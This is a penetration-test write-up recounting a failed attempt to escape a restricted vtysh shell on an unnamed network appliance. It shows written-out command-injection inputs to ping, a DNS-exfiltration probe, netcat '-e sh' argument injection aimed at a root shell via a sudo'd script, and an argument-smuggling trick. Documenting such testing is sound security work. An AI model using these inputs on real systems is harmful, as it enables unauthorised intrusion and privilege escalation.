This is a story about a penetration test, where it was not possible to get a shell on a target device. We pentesters love to think that getting a shell is the goal of a penetration test and this story shows how frustrating it can sometimes be when trying to get to root.
Of course, root is not always the most appropriate end-goal for a penetration test, however, in most cases, the fun and the exercise usually ends from a technical point of view when we get a shell and have essentially owned “everything”. Given the root shell, we can usually then leverage it to expose a document or a data breach, which shows the real-world impact for the client.
In this write-up, we show how despite strong efforts, we were unable to obtain root access – the ‘route to root’ is sometimes hard.
During this engagement, we encountered an appliance from a well-known company. A low privileged user was provided with SSH access, where only a restricted shell was available. The goal was to break out from the restricted shell and gain an unrestricted shell, and perhaps later, a root shell. All of this was done blindly, but we later gained access to the underlying operating system in a legitimate way and understood why things were not working as we wanted.
Discovery
As mentioned above, only a restricted shell was available over SSH. It had limited functionality, which could be extended if the user knew the “enable” password to escalate privileges in a legitimate way. During the test, we did not have the “enable” password and our goal was to break out of the restricted shell by exploiting any identified vulnerabilities. Among a few very minimalistic functions, there were four options that appeared promising:
- Ping – Another host could be pinged on the network, this was a really basic feature for diagnostic purposes.
- Traceroute – Almost the same as ping, with diagnostic purposes again.
- Connectivity check – Again, diagnostics where a certain IP or hostname was pinged, and three connection attempts were made on three different ports.
- Show logs – One of the log files was displayed on the screen in an interactive way (through a piper).
These commands seemed to use some kind of operating system level binaries or scripts, so there might be some chance to inject commands, code or interact with the operating system in an unexpected way.
SSH
We started hitting the SSH service, since that is how we have our shell. We know that SSH is a Swiss army knife, many things are possible with it. One of the useful features is that we can specify the command that we want to run in our session after authentication. If the restricted shell that starts after we login is defined in any of the .bashrc, .profile, etc. files, then it can be easily bypassed by the following:
> ssh admin@x.x.x.x -T
admin@x.x.x.x's password:
manager>
We have run into the same restricted shell as previously mentioned, so it means that the restricted shell was set as the default shell and it is not executed by any other shell.
There is low chance that the following technique will work or we get some information from it:
> ssh admin@x.x.x.x /bin/sh
This was not the case this time, the following error message was shown:
vtysh: invalid option -- 'c'
Try `vtysh --help' for more information.
There is clear a hint here; the default shell is not a standard shell, but vtysh. If we search for vtysh on google, we will find that: “vtysh is an integrated shell for Quagga routing engine”. Most probably this standard shell is used on the appliance or maybe (most probably) it was modified since it is open source.
In this case, this standard SSH trick to specify the default shell did not work, because the vtysh had no -c option. The public main page says it has, but in our case, it was disabled or removed from the source code. Any other option than -c could not be used, because it was hardcoded in the OpenSSH server, see below.
session.c
We were out of SSH-related tricks regarding this setup, so we investigated some other techniques.
Inside the shell
It takes some time, but it is really useful to map out the shell’s capabilities. An attacker must know what the restricted user is capable of, what could be the weak points and what attack vectors and scenarios could be used against them. An old trick for example is to resize the terminal or to execute a command that prints out more information on the screen than it fits. If the program is piping into a pager (like “less” or “more”), it might be possible to interact with the pager itself instead of the restricted shell. For example, the help menu can be shown by pressing the “h” key during a multi-page information.
This clearly shows that “less” is used, so we can therefore expect an easy breakout. Shortly after this, it turned out that this pager runs in restricted mode, it was executed with the LESSSECURE environment variable set to 1. When that is set to 1, “less” works in restricted mode, all functionality that could be used to break out from the program is disabled. No new files can be opened for read or write (:e, E, ^X^V), no external commands can be executed (!sh, |, etc.), no log files can be created (s -o) and so on. This turned out to be a dead end.
Ping/Traceroute
In general, these command functionalities are gold mines for penetration testers during an assignment. Usually, the built-in operating system level commands are used (ping and traceroute), because they do not want to implement the functionality into the shell, which is understandable. The only issue with this approach, is that it makes it hard to make it secure without proper knowledge about bash and other shells and how the libraries and kernel handles the process calls. The developers appeared experienced and had the proper knowledge this case.
An additional information leakage would make the case easier, because we could see if they have implemented their own ping functionality or they just call the underlying OS command.
manager> ping -h
ping: invalid option -- 'h'
Try 'ping --help' or 'ping --usage' for more information.
So far so good, let’s check –help
manager> ping --help
Usage: ping [OPTION...] HOST ...
Send ICMP ECHO_REQUEST packets to network hosts.
Options controlling ICMP request types:
--address send ICMP_ADDRESS packets (root only)
--echo send ICMP_ECHO packets (default)
--mask same as --address
--timestamp send ICMP_TIMESTAMP packets
-t, --type=TYPE send TYPE packets
Options valid for all request types:
-c, --count=NUMBER stop after sending NUMBER packets
-d, --debug set the SO_DEBUG option
-i, --interval=NUMBER wait NUMBER seconds between sending each packet
-n, --numeric do not resolve host addresses
-r, --ignore-routing send directly to a host on an attached network
--ttl=N specify N as time-to-live
-T, --tos=NUM set type of service (TOS) to NUM
-v, --verbose verbose output
-w, --timeout=N stop after N seconds
-W, --linger=N number of seconds to wait for response
Options valid for –echo requests:
-f, --flood flood ping (root only)
--ip-timestamp=FLAG IP timestamp of type FLAG, which is one of
"tsonly" and "tsaddr"
-l, --preload=NUMBER send NUMBER packets as fast as possible before
falling into normal mode of behavior (root only)
-p, --pattern=PATTERN fill ICMP packet with given pattern (hex)
-q, --quiet quiet output
-R, --route record route
-s, --size=NUMBER send NUMBER data octets
-?, --help give this help list
--usage give a short usage message
-V, --version print program version
This is good news as it suggests that we are dealing with a default Linux ping variant. In some cases, the payload of the ICMP request packet can be changed to arbitrary content (like the content of a file or the output of a command and then at the other side we only need to capture the packets and check their contents). This is a cool way to do privilege escalation or remote command execution. With this binary, only a pattern can be set, which is not that good but can be helpful. Let’s try.
manager> ping 127.0.0.1 -p ff
% Unknown command.
Well this does not look right. Most probably the error message came from the shell and not from the ping binary. After a little bit of struggle we found out that only one argument can be specified for the ping and traceroute commands. It is possible that it checks the number of arguments, so we could use quotes or if the command is executed with system() then we can break out and execute commands with: ; | || “
manager> ping "127.0.0.1 -p ff"
% Unknown command.
Same thing, did not work. Maybe with the IFS separator?
manager> ping "127.0.0.1${IFS}-p${IFS}ff"
ping: unknown host
This resulted in a different error message, the ping was executed so the shell indeed checks the number of spaces only. But at the same time it used the hostname “127.0.0.1${IFS}-p${IFS}ff” without evaluating that, which is not great for us.
manager> ping 127.0.0.1${IFS}-p${IFS}ff
ping: unknown host
manager> ping 127.0.0.1;/bin/ls
ping: unknown host
manager> ping 127.0.0.1|/bin/ls
ping: unknown host
manager> ping 127.0.0.1 /bin/ls
ping: unknown host
manager> ping 127.0.0.1||/bin/ls
ping: unknown host
No difference at all.
Another wild idea is to execute commands in the hostname; maybe it runs in the background that we cannot see, maybe ${IFS}/$IFS is blocked and so on. We can check these cases if DNS is allowed on the box and we have a DNS server that we control, so we could check the incoming A/AAAA record queries.
manager> ping nccgroup.trust
PING nccgroup.trust (199.83.128.103): 56 data bytes
64 bytes from 199.83.128.103: icmp_seq=0 ttl=50 time=145.906 ms
OK, DNS resolved, so we can communicate with the outside world through DNS. Let’s set up a tcpdump on our DNS server which is the name server of our domain:
root@dnsshell:~# tcpdump -i eth0 udp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Then run the following command
manager> ping $(ls).ns.nccgroup.trust
ping: unknown host
Tcpdump output on the server:
09:57:11.188294 IP x.x.x.x.56872 > y.y.y.y: 58231% [1au] A?
$(ls).ns.nccgroup.trust. (43)
09:57:11.987308 IP x.x.x.x.36388 > y.y.y.y: 24545 A?
$(ls).ns.nccgroup.trust. (32)
09:57:12.490330 IP x.x.x.x.45193 > y.y.y.y: 44411% [1au] A?
$(ls).ns.nccgroup.trust. (43)
This was clearly not the result that we wanted. Although we can send data from the server in the form of a domain name, we cannot execute commands on the servers and put the output in the name. The reason for this is in the use of execlp(). The ping command is executed via the execlp() function which calls the binary directly instead of calling it through a shell, so none of the arguments will be evaluated before ping or traceroute is executed.
More diagnostics
There was one more functionality that can be invoked as a restricted user and looked promising, this was the connectivity check function. By providing an IP or hostname a series of commands run to check the connectivity to that server. First the ping command was used then it tried to connect on three different ports.
manager> debug connection 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.096 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.069 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.084 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.069/0.083/0.096/0.000 ms
127.0.0.1 reachable
127.0.0.1 reachable over port 443
127.0.0.1 not reachable over port 902
127.0.0.1 not reachable over port 903
The same scenarios were tested again as before. Not more than one argument can be passed to the command and in this case special characters were not allowed either, basically anything other than alphanumeric characters and hyphens were not allowed. What we can do is to reuse the same idea from before and call the -h or –help arguments.
manager> debug connection --help
Usage: ping [OPTION...] HOST ...
Send ICMP ECHO_REQUEST packets to network hosts.
…
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere: nc [options] hostname port [port] ...
listen for inbound: nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere: nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
-c, --close close connection on EOF from stdin
-e, --exec=PROGRAM program to exec after connect
-g, --gateway=LIST source-routing hop point[s], up to 8
-G, --pointer=NUM source-routing pointer: 4, 8, 12, ...
-h, --help display this help and exit
-i, --interval=SECS delay interval for lines sent, ports scanned
-l, --listen listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT forward local port to remote address
-n, --dont-resolve numeric-only IP addresses, no DNS
-o, --output=FILE output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM local port number
-r, --randomize randomize local and remote ports
-s, --source=ADDRESS local source address (ip or hostname)
-t, --tcp TCP mode (default)
-T, --telnet answer using TELNET negotiation
-u, --udp UDP mode
-v, --verbose verbose (use twice to be more verbose)
-V, --version output version information and exit
-x, --hexdump hexdump incoming and outgoing traffic
-w, --wait=SECS timeout for connects and final net reads
-z, --zero zero-I/O mode (used for scanning)
Remote port number can also be specified as range. Example: ‘1-1024’
–help reachable over port 443
…
WOW! GNU netcat 0.7.1, this should be easy right?
manager> debug connection -e/bin/sh
Entered destination is invalid
Oh, no special characters. Maybe this one:
manager> debug connection -esh
ping: invalid option -- 'e'
Try 'ping --help' or 'ping --usage' for more information.
-esh not reachable
Error: `-e' and `-z' options are incompatible
-esh not reachable over port 443
Error: `-e' and `-z' options are incompatible
-esh not reachable over port 902
Error: `-e' and `-z' options are incompatible
-esh not reachable over port 903
Well, that is really bad for us. The -z argument is specified, which basically kills everything.
But if you google this version of netcat, you can find the source code and the following vulnerability:
https://packetstormsecurity.com/files/140025/GNU-Netcat-0.7.1-Out-Of-Bounds-Write.html
This might be exploitable. We tested the binary and it was also vulnerable on the appliance. We could try this one then:
manager> debug connection -Tlp4551
ping: invalid value (`lp4551' near `lp4551')
-Tlp4551 not reachable
[... listens on port 4551 ...]
Okay, so far so good. We have a vulnerable netcat listening on port 4551 in TCP mode, but the firewall does not allow anything on TCP through only a few and those ports that are already bound to a running service. In the meantime, we tested the vulnerability and it worked via UDP as well, which was great and the firewall allowed UDP port 1162, so let’s try this:
manager> debug connection -Tlup1162
ping: invalid value (`lup1162' near `lup1162')
-Tlup1162 not reachable
TEST
HELLO FROM CLIENT
We managed to send a few packets from the client to the server which was listening on that port. Now we could have started to work on the exploit, but we also wanted to see it crashing on the server as well.
It did not happen. It did not happen because of the -z. If -z is specified then the vulnerability cannot be triggered, which we forgot to check beforehand. It was a mistake not to check it, but at least we were close… yet no cigar.
Our time ended here, but not our story. After the test the analysis of the binary revealed some other issues as well.
Additional things
After taking the appliance apart, it was discovered that the shell script which was mentioned in the “more diagnostics” part of this article was called from the restricted shell in the following way:
sudo script.sh
This means that everything that is in the shell script runs as root, because the script was executed through sudo. Without the -z parameter in the shell script a simple -esh would have led to full compromise. A simple one byte change in the file could give us a full root shell, but this did not happen.
The stripped script file looked like this:
check.sh:
#!/bin/sh
destination=`echo $1 | sed '/[^0-9a-zA-Z.-]/ s/.*//'`
if [ $? -ne 0 -o x"$destination" == x ]; then
echo "Entered destination is invalid"
exit 0;
fi
nc -z $destination 443
The restricted shell was created to accept only one argument. Even if more than one could have been used, only the first one would be processed ($1), so we needed to operate without spaces.
In some Linux distributions the /bin/sh is a symlink to another shell. In the appliance case, it was bash, so the following technique could not be used. In any other case when the symlink is pointing to dash (for example in Debian variants), or the dash is used by the shell script, then the echo binary is used with the “-e” parameter enabled by default for some reason, which interprets the backslash escapes.
Given that we need multiple arguments but we cannot use spaces, the solution could be the following:
./check.sh “argument1nargument2nargument3”
The echo $1 command will print out three different lines with the arguments, then sed will check them one-by-one and the three output will be placed into a variable. The variable cannot hold new lines or at least not like this, so it will be replaced by spaces. Sticking to the example script, the netcat will be called like this:
nc -z argument1 argument2 argument3 443
This could be used to specify multiple arguments with parameters.
NOTE: Additionally, the bash shell which executed the commands were patched against ShellShock, so that approach failed at the beginning.
Disclaimer
This article intended to show some techniques and how deep it is possible to go when a small application is tested with only a few functionalities exposed. Also, it was intended to show that sometimes the hacking fun ends with disappointment, but a plus for security.
The vendor and the appliance’s model was not mentioned on purpose. There is no intention from NCC Group to advertise or suggest that the device is secure or insecure in any way. Only a small part of the appliance was tested where no vulnerabilities were found that could be exploited. It is more than possible that other techniques which were not listed above exist and were not attempt on the device. Feel free to suggest your ideas or solutions to us.
For updates and further information, you can follow me on Twitter @xoreipeip
https://twitter.com/xoreipeip
Special thanks to Jeff Dileo and other NCC Group employees.
